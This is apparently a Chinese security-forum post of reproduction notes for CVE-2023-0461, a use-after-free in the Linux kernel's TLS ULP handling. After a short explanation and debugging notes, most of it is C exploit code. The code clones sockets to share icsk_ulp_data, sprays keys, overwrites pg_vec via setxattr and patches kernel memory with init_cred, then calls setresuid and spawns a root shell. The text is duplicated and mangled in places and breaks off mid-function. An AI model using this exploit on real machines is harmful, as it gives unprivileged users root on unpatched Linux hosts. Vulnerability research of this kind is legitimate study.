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[原创]CVE-2023-0461复现笔记
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发表于: 2024-8-28 14:09
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commit：2c85ebc57b3e1817b6ce1a6b703928e113a90442
总的config：
defconfig+menuconfig
(同样是修改了objtool的一个代码)
Linux 内核在处理 icsk->icsk_ulp_data 指针时存在错误导致 UAF,
源代码：
如果 socket 设置 ulp 后进入 listen 状态，然后有其他 socket 发起 connect 系统调用请求连接，新创建的 sk 对象会拷贝 icsk->icsk_ulp_data 指针，相关代码位于 如下：
根据 tcp_prot 的定义，在 sock_copy 通过 memcpy 拷贝 后面的成员时就会拷贝 icsk->icsk_ulp_data ，==漏洞的关键点是对象指针拷贝后没有使用引用计数管理，释放其中一个指针就会导致悬垂指针的产生==。
也就是说，在服务端，建立一个套接字并bind、listen，最后accept，服务端是知道自己的套接字描述符的，然后客户端也简历一个套接字，通过connect连接服务端，但是此时服务端是不知道对面的套接字描述符的，或者说没有用，因为对面的套接字的文件描述符只是客户端进程的，对服务端进程来说没有意义，所以服务端要通过accept生成一个新的套接字，通过这个套接字代表CS之间的连接。
对照GitHub上的脚本复现，发现要想成功连接，需要创建一个namespace，同时还需要使用配置相关网络接口，这里使用GitHub中给出的net_if函数以及netlink_utils.h头文件进行配置：
具体的解释看gpt所述：
所以就是先建立一个连接，然后才能给client设置ULP；
之后要将这个client connect一个地址（但是并没有创建套接字），之后才能给client绑定一个地址；
然后创建一个新的套接字去连接这个client，然后client accept，返回的文件描述符和client拥有相同的ULP；
对于我们的ulp_data，可能我们虽然close了，但是由于RCU宽限期的原因，可能要等一段时间之后才嗯那个真的释放obj；
这个UAF洞的利用很巧妙，close之后会有一些列操作，如果此时的obj已经被我们覆盖了，那么很可能会出错，但是如果是正常的就不会错，然后到了kfree之前会有这个RCU宽限期，在这个宽限期我们UAF写，然后kfree，就没错。
笔者得到的错误：
Invalid argument；
这是在笔者使用setxattr修改了gp_vec之后就会发生这个报错，但是如果不进行修改，就不会发生这个错误；笔者考虑到了可能是笔者写多了的缘故，但是笔者将64个地址改成了33个地址还是出错了；
经过调试发现mmap之前并没有因为setxattr释放了的缘故而导致地址发生改变
发生了空指针解引用；
手动set一个地址：
可以看到成功了；
最终找到了解决方案：利用前面读内核密钥泄露的上一个pg_vec的指针，作为setxattr的内容去写新的pg_vec，然后只修改它的第一个指针为我们的目标地址即可；
目前来看推测page_offset_base，只能先保留高32位，然后逐步-0x100000000来命中了，这个很不稳定；
成功leak！
教程：
一定要搜函数__sys_setresuid，笔者就是漏了前面的两个下划线，找了半天。。。
这个跳转要干掉：
后边还有个问题就是内存被破坏了，system起不来，经过调试发现是在kfree崩了，具体原因不详，因此笔者索性就用USMA把kfree函数的第一个字节patch成0xc3，直接退出好了；
似乎内核密钥被释放掉之后会有内核地址被写入，这个笔者之前学过，没复现成功，没想到在这里给解决了。
这里相当于是那个滞后的free给我们把内核密钥释放了，然后反而帮我们泄露了内核地址了；
内核密钥被释放之后会得到如下内存布局，此后如果能够通过UAF读出来的第一个64位内容就是一个内核代码段地址；（笔者的内核密钥是被一个ulp结构体给释放的，竟然也会有这个字段）
首先是RCU宽限期的等待时间需要稍微改正，然后就是这次笔者将pg_veg中依次写入达大量内核代码段地址之后mmap成功，最终实现提权：
要创建namespace和激活端口才能正确进行connect；
ULP的设置要在建立连接之后；
新地址的绑定还要先connect一下？
RCU宽限期
https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150
CVE-2023-0461 Linux 内核 UAF 漏洞分析与漏洞利用解读-CSDN博客
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_NET_SCHED=y
CONFIG_DEBUG_INFO=y
CONFIG_USER_NS=y #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_TLS=y #漏洞触发必要选项
CONFIG_XFRM_ESPINTCP=y #漏洞触发必要选项，二者选其一
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_NET_SCHED=y
CONFIG_DEBUG_INFO=y
CONFIG_USER_NS=y #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_TLS=y #漏洞触发必要选项
CONFIG_XFRM_ESPINTCP=y #漏洞触发必要选项，二者选其一
https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150
https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150
https://elixir.bootlin.com/linux/v5.10/source/net/core/sock.c#L1857
https://elixir.bootlin.com/linux/v5.10/source/net/core/sock.c#L1857
struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
{ struct proto *prot = READ_ONCE(sk->sk_prot);
struct sock *newsk;
bool is_charged = true;
newsk = sk_prot_alloc(prot, priority, sk->sk_family);
if (newsk != NULL) {
struct sk_filter *filter;
sock_copy(newsk, sk);
newsk->sk_prot_creator = prot;
/* SANITY */
if (likely(newsk->sk_net_refcnt))
get_net(sock_net(newsk));
sk_node_init(&newsk->sk_node);
sock_lock_init(newsk);
bh_lock_sock(newsk);
newsk->sk_backlog.head = newsk->sk_backlog.tail = NULL;
newsk->sk_backlog.len = 0;
atomic_set(&newsk->sk_rmem_alloc, 0);
/*
* sk_wmem_alloc set to one (see sk_free() and sock_wfree())
*/
refcount_set(&newsk->sk_wmem_alloc, 1);
atomic_set(&newsk->sk_omem_alloc, 0);
sk_init_common(newsk);
newsk->sk_dst_cache = NULL;
newsk->sk_dst_pending_confirm = 0;
newsk->sk_wmem_queued = 0;
newsk->sk_forward_alloc = 0;
atomic_set(&newsk->sk_drops, 0);
newsk->sk_send_head = NULL;
newsk->sk_userlocks = sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
atomic_set(&newsk->sk_zckey, 0);
sock_reset_flag(newsk, SOCK_DONE);
/* sk->sk_memcg will be populated at accept() time */
newsk->sk_memcg = NULL;
cgroup_sk_clone(&newsk->sk_cgrp_data);
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter != NULL)
/* though it's an empty new sock, the charging may fail
* if sysctl_optmem_max was changed between creation of
* original socket and cloning
*/
is_charged = sk_filter_charge(newsk, filter);
RCU_INIT_POINTER(newsk->sk_filter, filter);
rcu_read_unlock();
if (unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
/* We need to make sure that we don't uncharge the new
* socket if we couldn't charge it in the first place
* as otherwise we uncharge the parent's filter.
*/
if (!is_charged)
RCU_INIT_POINTER(newsk->sk_filter, NULL);
sk_free_unlock_clone(newsk);
newsk = NULL;
goto out;
}
RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);
if (bpf_sk_storage_clone(sk, newsk)) {
sk_free_unlock_clone(newsk);
newsk = NULL;
goto out;
}
/* Clear sk_user_data if parent had the pointer tagged
* as not suitable for copying when cloning.
*/
if (sk_user_data_is_nocopy(newsk))
newsk->sk_user_data = NULL;
newsk->sk_err = 0;
newsk->sk_err_soft = 0;
newsk->sk_priority = 0;
newsk->sk_incoming_cpu = raw_smp_processor_id();
if (likely(newsk->sk_net_refcnt))
sock_inuse_add(sock_net(newsk), 1);
/*
* Before updating sk_refcnt, we must commit prior changes to memory
* (Documentation/RCU/rculist_nulls.rst for details)
*/
smp_wmb();
refcount_set(&newsk->sk_refcnt, 2);
/*
* Increment the counter in the same struct proto as the master
* sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
* is the same as sk->sk_prot->socks, as this field was copied
* with memcpy).
*
* This _changes_ the previous behaviour, where
* tcp_create_openreq_child always was incrementing the
* equivalent to tcp_prot->socks (inet_sock_nr), so this have
* to be taken into account in all callers. -acme
*/
sk_refcnt_debug_inc(newsk);
sk_set_socket(newsk, NULL);
sk_tx_queue_clear(newsk);
RCU_INIT_POINTER(newsk->sk_wq, NULL);
if (newsk->sk_prot->sockets_allocated)
sk_sockets_allocated_inc(newsk);
if (sock_needs_netstamp(sk) &&
newsk->sk_flags & SK_FLAGS_TIMESTAMP)
net_enable_timestamp();
}
out: return newsk;
}EXPORT_SYMBOL_GPL(sk_clone_lock);struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
{ struct proto *prot = READ_ONCE(sk->sk_prot);
struct sock *newsk;
bool is_charged = true;
newsk = sk_prot_alloc(prot, priority, sk->sk_family);
if (newsk != NULL) {
struct sk_filter *filter;
sock_copy(newsk, sk);
newsk->sk_prot_creator = prot;
/* SANITY */
if (likely(newsk->sk_net_refcnt))
get_net(sock_net(newsk));
sk_node_init(&newsk->sk_node);
sock_lock_init(newsk);
bh_lock_sock(newsk);
newsk->sk_backlog.head = newsk->sk_backlog.tail = NULL;
newsk->sk_backlog.len = 0;
atomic_set(&newsk->sk_rmem_alloc, 0);
/*
* sk_wmem_alloc set to one (see sk_free() and sock_wfree())
*/
refcount_set(&newsk->sk_wmem_alloc, 1);
atomic_set(&newsk->sk_omem_alloc, 0);
sk_init_common(newsk);
newsk->sk_dst_cache = NULL;
newsk->sk_dst_pending_confirm = 0;
newsk->sk_wmem_queued = 0;
newsk->sk_forward_alloc = 0;
atomic_set(&newsk->sk_drops, 0);
newsk->sk_send_head = NULL;
newsk->sk_userlocks = sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
atomic_set(&newsk->sk_zckey, 0);
sock_reset_flag(newsk, SOCK_DONE);
/* sk->sk_memcg will be populated at accept() time */
newsk->sk_memcg = NULL;
cgroup_sk_clone(&newsk->sk_cgrp_data);
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter != NULL)
/* though it's an empty new sock, the charging may fail
* if sysctl_optmem_max was changed between creation of
* original socket and cloning
*/
is_charged = sk_filter_charge(newsk, filter);
RCU_INIT_POINTER(newsk->sk_filter, filter);
rcu_read_unlock();
if (unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
/* We need to make sure that we don't uncharge the new
* socket if we couldn't charge it in the first place
* as otherwise we uncharge the parent's filter.
*/
if (!is_charged)
RCU_INIT_POINTER(newsk->sk_filter, NULL);
sk_free_unlock_clone(newsk);
newsk = NULL;
goto out;
}
RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);
if (bpf_sk_storage_clone(sk, newsk)) {
sk_free_unlock_clone(newsk);
newsk = NULL;
goto out;
}
/* Clear sk_user_data if parent had the pointer tagged
* as not suitable for copying when cloning.
*/
if (sk_user_data_is_nocopy(newsk))
newsk->sk_user_data = NULL;
newsk->sk_err = 0;
newsk->sk_err_soft = 0;
newsk->sk_priority = 0;
newsk->sk_incoming_cpu = raw_smp_processor_id();
if (likely(newsk->sk_net_refcnt))
sock_inuse_add(sock_net(newsk), 1);
/*
* Before updating sk_refcnt, we must commit prior changes to memory
* (Documentation/RCU/rculist_nulls.rst for details)
*/
smp_wmb();
refcount_set(&newsk->sk_refcnt, 2);
/*
* Increment the counter in the same struct proto as the master
* sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
* is the same as sk->sk_prot->socks, as this field was copied
* with memcpy).
*
* This _changes_ the previous behaviour, where
* tcp_create_openreq_child always was incrementing the
* equivalent to tcp_prot->socks (inet_sock_nr), so this have
* to be taken into account in all callers. -acme
*/
sk_refcnt_debug_inc(newsk);
sk_set_socket(newsk, NULL);
sk_tx_queue_clear(newsk);
RCU_INIT_POINTER(newsk->sk_wq, NULL);
if (newsk->sk_prot->sockets_allocated)
sk_sockets_allocated_inc(newsk);
if (sock_needs_netstamp(sk) &&
newsk->sk_flags & SK_FLAGS_TIMESTAMP)
net_enable_timestamp();
}
out: return newsk;
}EXPORT_SYMBOL_GPL(sk_clone_lock);#include "netlink_utils.h"#define ADD_LINK RTM_NEWLINK#define DEL_LINK RTM_DELLINK#define FLUSH RTM_GETLINK#define ADD_ADDR RTM_NEWADDR#define DEL_ADDR RTM_DELADDR#define ADD_QDISC RTM_NEWQDISC#define DEL_QDISC RTM_DELQDISC#define ADD_CLASS RTM_NEWTCLASS#define DEL_CLASS RTM_DELTCLASS#define N_NET_INTERFACES 0x1800int net_if(int action, char *type, int n, int opt, bool change) {
struct nlmsghdr *msg;
struct nlattr *opts;
struct ifinfomsg ifinfo = {};
struct ifaddrmsg ifaddr = {};
char name[0x100] = { 0 };
int sk;
strcpy(name, type);
if (n >= 0)
snprintf(name, sizeof(name), "%s-%d", type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if (!sk) {
perror("nl_init_request()");
return -1;
}
switch (action) {
case ADD_LINK:
case DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
if (action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break;
case ADD_ADDR:
case DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break;
}
// Send the netlink message and deallocate resources
return nl_complete_request(sk, msg);
}int setup_sandbox(void)
{ if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
return -1;
}
net_if(ADD_LINK, "lo", -1, IFF_UP, true);
return 0;
}int main(void)
{ setup_sandbox();
}#include "netlink_utils.h"#define ADD_LINK RTM_NEWLINK#define DEL_LINK RTM_DELLINK#define FLUSH RTM_GETLINK#define ADD_ADDR RTM_NEWADDR#define DEL_ADDR RTM_DELADDR#define ADD_QDISC RTM_NEWQDISC#define DEL_QDISC RTM_DELQDISC#define ADD_CLASS RTM_NEWTCLASS#define DEL_CLASS RTM_DELTCLASS#define N_NET_INTERFACES 0x1800int net_if(int action, char *type, int n, int opt, bool change) {
struct nlmsghdr *msg;
struct nlattr *opts;
struct ifinfomsg ifinfo = {};
struct ifaddrmsg ifaddr = {};
char name[0x100] = { 0 };
int sk;
strcpy(name, type);
if (n >= 0)
snprintf(name, sizeof(name), "%s-%d", type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if (!sk) {
perror("nl_init_request()");
return -1;
}
switch (action) {
case ADD_LINK:
case DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
if (action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break;
case ADD_ADDR:
case DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break;
}
// Send the netlink message and deallocate resources
return nl_complete_request(sk, msg);
}int setup_sandbox(void)
{ if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
return -1;
}
net_if(ADD_LINK, "lo", -1, IFF_UP, true);
return 0;
}int main(void)
{ setup_sandbox();
}https://tttang.com/archive/1706/
https://tttang.com/archive/1706/
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux" -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux" -ex "c"
p ((struct inet_connection_sock *) osk)->icsk_ulp_data
p ((struct inet_connection_sock *) osk)->icsk_ulp_data
b user_preparseb user_preparse#define _GNU_SOURCE#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdbool.h>#include <sched.h>#include <fcntl.h>#include <string.h>#include <byteswap.h>#include <sys/mman.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/sem.h>#include <sys/wait.h>#include <sys/ioctl.h>#include <sys/xattr.h>#include <sys/socket.h>#include <linux/tls.h>#include <linux/if_packet.h>#include <net/ethernet.h>#include <net/if.h>#include <netinet/tcp.h>#include <netinet/in.h>#include "netlink_utils.h"#define ADD_LINK RTM_NEWLINK#define DEL_LINK RTM_DELLINK#define FLUSH RTM_GETLINK#define ADD_ADDR RTM_NEWADDR#define DEL_ADDR RTM_DELADDR#define ADD_QDISC RTM_NEWQDISC#define DEL_QDISC RTM_DELQDISC#define ADD_CLASS RTM_NEWTCLASS#define DEL_CLASS RTM_DELTCLASS#define N_NET_INTERFACES 0x1800int tls1, tls2, tls3, tls4;
int net_if(int action, char *type, int n, int opt, bool change);
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{ asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}//CPU绑核void bindCore(int core)
{ cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int setup_sandbox(void)
{ if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
return -1;
}
net_if(ADD_LINK, "lo", -1, IFF_UP, true);
char edit[0x200];
int tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
return 0;
}int net_if(int action, char *type, int n, int opt, bool change) {
struct nlmsghdr *msg;
struct nlattr *opts;
struct ifinfomsg ifinfo = {};
struct ifaddrmsg ifaddr = {};
char name[0x100] = { 0 };
int sk;
strcpy(name, type);
if (n >= 0)
snprintf(name, sizeof(name), "%s-%d", type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if (!sk) {
perror("nl_init_request()");
return -1;
}
switch (action) {
case ADD_LINK:
case DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
if (action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break;
case ADD_ADDR:
case DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break;
}
// Send the netlink message and deallocate resources
return nl_complete_request(sk, msg);
}int tls1, tls2;
int set_ulp(int port){
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int tls, s, s2;
tls = socket(AF_INET, SOCK_STREAM, 0);
s = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
// Put the socket into ESTABLISHED state
if(bind(s, &addr, sizeof(addr)) < 0){
perror("bind");
exit(-1);
}
if(listen(s, 0) < 0){
perror("listen");
exit(-1);
}
if(connect(tls, &addr, sizeof(addr)) < 0){
perror("connect");
exit(-1);
}
// Initialize TLS ULP
if(setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0){
perror("set ulp");
}
return tls;
}int clone_tls(int tls, int port){
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int s, new;
s = socket(AF_INET, SOCK_STREAM, 0);
// Disconnect the input socket `sk`
addr.sin_family = AF_UNSPEC;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
connect(tls, &addr, sizeof(addr)); //为什么要先连接一下才能bind？
// Listen on `sk` (This should not happen!)
addr.sin_family = AF_INET;
if(bind(tls, &addr, sizeof(addr)) < 0){
perror("bind2");
exit(-1);
}
if(listen(tls, 0) < 0){
perror("listen2");
exit(-1);
}
if(connect(s, &addr, sizeof(addr)) < 0 ){
perror("connect2");
exit(-1);
}
// Clone icsk_ulp_data
new = accept(tls, &addr, &len);
// Now the input socket `sk` and `new`
// share the same icsk_ulp_data pointer
return new;
}#include "key.h"#define TOTAL_KEYS 60int kids[TOTAL_KEYS];
void spray_key(int times, int len){
char des[0x100];
memset(des, 0, sizeof(des));
char pay[0x200];
memset(pay, 0, sizeof(pay));
for(int i = 0; i < TOTAL_KEYS && i < times; i++){
memset(des, 'A'+i, 0x80);
memset(pay, 'a'+i, len);
kids[i] = key_alloc(des, pay, len);
printf("kid_%d == %d\n", i, kids[i]);
}
}#include <sys/types.h>#include <sys/xattr.h>void spray_attr(int times, int size){
const char *path = "/path/to/file";
const char *name = "user.attribute";
const char *value = "value";
int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE
for(int i = 0; i < times; i++){
setxattr(path, name, value, size, flags);
}
}size_t data[0x20000];
int pipe_kernel[2];
#include "pg_vec.h"void child(){
size_t kernel_offset_base;
unshare_setup();
puts("here child");
char cmd[4];
read(pipe_kernel[0], &kernel_offset_base, 8);
puts("end2");
}int get_one_key(char des_chr, char pay_chr, int len){
char des[0x100];
memset(des, 0, sizeof(des));
memset(des, des_chr, 0x80);
char pay[0x400];
memset(pay, 0, sizeof(pay));
memset(pay, pay_chr, len);
return key_alloc(des, pay, len);
}size_t data2[0x10000];
#define print_init_cred() \ printf("%p\n", init_cred); \
puts("hello")
#define mov_rdi_init_cred(con) \ memcpy(con, "\x48\xbf", 2);\
memcpy(con+2, &init_cred)
size_t ker_base[0x20000];
int main(void)
{ size_t kernel_offset_base;
bindCore(0);
save_status();
unshare_setup();
net_if(ADD_LINK, "lo", -1, IFF_UP, true);
tls1 = set_ulp(1111);
tls2 = clone_tls(tls1, 1112);
printf("tls1 == %d, tls2 == %d\n", tls1, tls2);
tls3 = set_ulp(1113);
tls4 = clone_tls(tls3, 1114);
printf("tls3 == %d, tls4 == %d\n", tls3, tls4);
close(tls1);
puts("sleeping ... ");
sleep(3);
close(tls2);
puts("sleeping ... ");
sleep(3);
spray_key(1, 0x100);
size_t data[0x1000];
puts("spray key done");
getchar();
int key_len = key_read(kids[0], ker_base, 0x20000);
ker_base[0] -= 0xffffffff820464c0;
int pfd = pagealloc_pad(33, 0x1000);
printf("pfd == %d\n", pfd);
key_len = key_read(kids[0], data, 0x20000);
printf("key_len == %d\n", key_len);
for(int i = 0; i < 0x100; i++){
if(data[i] >= 0xffff888000000000 && data[i] <= 0xfffffff000000000){
printf("data -> %p\n", (void *)data[i]);
kernel_offset_base = data[i] & 0xfffffff000000000;
break;
}
}
printf("kernel_offset_base == %p\n", (void *)kernel_offset_base);
getchar();
close(tls3);
puts("sleeping ... ");
sleep(3);
close(tls4);
puts("sleeping ... ");
sleep(3);
pfd = pagealloc_pad(33, 0x1000);
printf("pfd == %d\n", pfd);
for(int i = 0; i < 34; i++){
printf("data-> %p\n", (void *)data[i]);
}
for(int i = 0; i < 3; i++){
data2[i] = data[i] + 0x3000;
}
memcpy(data2+3, data, 30*8);
data2[0] = kernel_offset_base;
const char *path = "/test";
const char *name = "user.attribute";
const char *value = data2;
size_t size = 0x200;
int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE
puts("before setxattr");
getchar();
int result ;
result = setxattr(path, name, value, size, flags);
if (result == -1) {
perror("setxattr");
//return 1;
}
puts("before mmap");
//getchar();
size_t *page = 0LL;
//if (page == MAP_FAILED) {
//perror("mmap");
//exit(-1);
//}
printf("page == %p\n", (void *)page);
data2[0] += 0x9d000;
result = setxattr(path, name, value, size, flags);
if (result == -1) {
perror("setxattr");
//return 1;
}
if (page == MAP_FAILED) {
perror("mmap");
//exit(-1);
}
printf("page == %p\n", (void *)page);
size_t kbase = 0xffffffff81000040;
printf("kbase == %p\n", (void *)kbase);
size_t init_cred = ker_base[0] + 0xffffffff8244c6c0;
//================================================== patch kernel ============================================================ data2[0] = ker_base[0] + 0xffffffff8107a000;
result = setxattr(path, name, value, size, flags);
if (result == -1) {
perror("setxattr");
//return 1;
}
page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0); //mmap的size要和addr对齐
if (page == MAP_FAILED) {
perror("mmap");
//exit(-1);
}
char *p = (char *)page;
printf("page == %p\n", (void *)page);
memset(p+0xace, 0x90, 6);
memset(p+0xad7, 0x90, 2);
memset(p+0xade, 0x90, 6);
memset(p+0xae8, 0x90, 2);
memset(p+0xaee, 0x90, 6);
memset(p+0xbbb, 0x90, 2);
memcpy(p+0xbbd, "\x48\xbf", 2);
memcpy(p+0xbbd+2, &init_cred, 8);
//=============================================== patch kfree =========================================================== data2[0] = ker_base[0] + 0xffffffff811d4000;
result = setxattr(path, name, value, size, flags);
if (result == -1) {
perror("setxattr");
//return 1;
}
page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0); //mmap的size要和addr对齐
if (page == MAP_FAILED) {
perror("mmap");
//exit(-1);
}
p = page;
memset(p+0x200, 0xc3, 2);
//=========================================================================================================================== int end_pfd = pagealloc_pad(33, 0x1000);
printf("end_pfd == %d\n", end_pfd);
setresuid(0, 0, 0);
system("/bin/sh");
while(1){
;
}
}#define _GNU_SOURCE#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdbool.h>#include <sched.h>#include <fcntl.h>#include <string.h>#include <byteswap.h>#include <sys/mman.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/sem.h>#include <sys/wait.h>#include <sys/ioctl.h>#include <sys/xattr.h>#include <sys/socket.h>#include <linux/tls.h>#include <linux/if_packet.h>#include <net/ethernet.h>#include <net/if.h>#include <netinet/tcp.h>#include <netinet/in.h>#include "netlink_utils.h"#define ADD_LINK RTM_NEWLINK#define DEL_LINK RTM_DELLINK#define FLUSH RTM_GETLINK#define ADD_ADDR RTM_NEWADDR#define DEL_ADDR RTM_DELADDR#define ADD_QDISC RTM_NEWQDISC#define DEL_QDISC RTM_DELQDISC#define ADD_CLASS RTM_NEWTCLASS#define DEL_CLASS RTM_DELTCLASS#define N_NET_INTERFACES 0x1800int tls1, tls2, tls3, tls4;
int net_if(int action, char *type, int n, int opt, bool change);
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{ asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}//CPU绑核void bindCore(int core)
{ cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int setup_sandbox(void)
{ if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
